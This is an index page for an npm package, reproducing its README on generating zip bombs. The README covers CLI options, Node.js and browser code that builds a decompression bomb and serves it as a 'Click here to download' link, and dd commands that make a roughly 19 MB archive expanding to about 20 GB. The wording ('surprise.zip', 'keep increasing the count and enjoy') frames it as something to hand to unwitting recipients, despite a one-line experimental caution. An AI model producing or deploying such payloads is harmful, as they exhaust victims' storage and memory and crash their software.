Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/harshjv/zip-bomb
💣 Zip bomb for Browser and Node.js.
https://github.com/harshjv/zip-bomb
npm npm-package zip-bomb
Last synced: about 7 hours ago
JSON representation
💣 Zip bomb for Browser and Node.js.
- Host: GitHub
- URL: https://github.com/harshjv/zip-bomb
- Owner: harshjv
- License: mit
- Created: 2017-01-04T16:54:55.000Z (almost 8 years ago)
- Default Branch: master
- Last Pushed: 2017-01-04T20:32:46.000Z (almost 8 years ago)
- Last Synced: 2024-09-29T09:35:12.413Z (about 1 month ago)
- Topics: npm, npm-package, zip-bomb
- Language: JavaScript
- Homepage: https://www.npmjs.com/package/zip-bomb
- Size: 223 KB
- Stars: 15
- Watchers: 2
- Forks: 5
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
## 💣 Zip bomb [![standard][standard-image]][standard-url] [![travis][travis-image]][travis-url] [![npm][npm-image]][npm-url]
[standard-image]: https://img.shields.io/badge/code%20style-standard-brightgreen.svg
[standard-url]: http://standardjs.com/
[travis-image]: https://img.shields.io/travis/harshjv/zip-bomb/master.svg
[travis-url]: https://travis-ci.org/harshjv/zip-bomb
[npm-image]: https://img.shields.io/npm/v/zip-bomb.svg
[npm-url]: https://npmjs.org/package/zip-bomb> **CAUTION** THIS IS JUST AN EXPERIMENT. USE THIS AT YOUR OWN RISK. READ MORE ABOUT ZIP BOMB [HERE](https://en.wikipedia.org/wiki/Zip_bomb).
[Zip bomb](https://en.wikipedia.org/wiki/Zip_bomb) for Browser and Node.js.
> [⚡️ Live demo here](https://rawgit.com/harshjv/zip-bomb/master/example/index.html)
## Installation
npm install zip-bomb
Checkout [API](#api) usage.
## Command line
npm install -g zip-bomb
### Usage
Usage: zip-bomb [options]
Options:
-h, --help output usage information
-V, --version output the version number
-b, --zero-buffer-size Zero buffer size
-l, --buffer-level Buffer multiplier
-z, --zip-level Level
-o, --output Output fileExample:
zip-bomb -b 10485760 -l 10 -z 50 -o surprise.zip
## API
### `zipBomb.createBuffer(zeroBufferSize, bufferLevel, zipLevel)`
Creates ZIP file `Buffer`.
> returns `Promise`
#### Parameters
* `zeroBufferSize`
* can be `Number`
* creates buffer of 0s with provided size
* `bufferLevel`
* can be `Number`
* multiplies created buffer with zeros with provided buffer level
* `zipLevel`
* creates zip `zeroBufferSize * bufferLevel` zeros of provided zip level### `zipBomb.createDataURL(zeroBufferSize, bufferLevel, zipLevel)`
Creates `DataURL` (for use in browsers)
> returns `Promise`
#### Parameters
Same as `zipBomb.createDataURL(bufferMultiplier, level)`
## Usage
### In Node.js
const fs = require('fs')
const zb = require('zip-bomb')const fileName = 'zipbomb.zip'
zb.createBuffer(1024 * 1024 * 10, 10, 10)
.then((buffer) => {
fs.writeFile(fileName, buffer, (err) => {
if (err) throw errconsole.log(`${fileName} is created`)
})
})> **WARNING** `zipbomb.zip` file is evil!
### In Browser (with Browserify or webpack)
const zb = require('zip-bomb')
zb.createDataURL(1024 * 1024 * 10, 10, 10)
.then((dataURL) => {
const a = document.createElement('a')
const linkText = document.createTextNode('Click here to download zip bomb')a.appendChild(linkText)
a.href = dataURL
document.body.appendChild(a)
})
.catch((e) => console.error(e))> Embed bundled file into an HTML page and click on the link to download generated zip bomb!
Or open [/example/index.html](/example/index.html) folder in browser.
## Debug
### In Node.js
Enable debug logs by setting the `DEBUG` environment variable.
DEBUG=zip-bomb*
### In Browser
Enable debug logs by running this in the developer console.
localStorage.debug = 'zip-bomb*'
and then reload.
## The Linux Way
dd if=/dev/zero bs=1000 count=20000000 | zip surprise.zip -
or
dd if=/dev/zero bs=1000 count=20000000 | gzip > surprise.gz
Creates around `19 MB` file that extracts to around `20 GB` file. Keep increasing the count and enjoy!
## Test
npm test
> `standard` only for now. More to come.
## License
MIT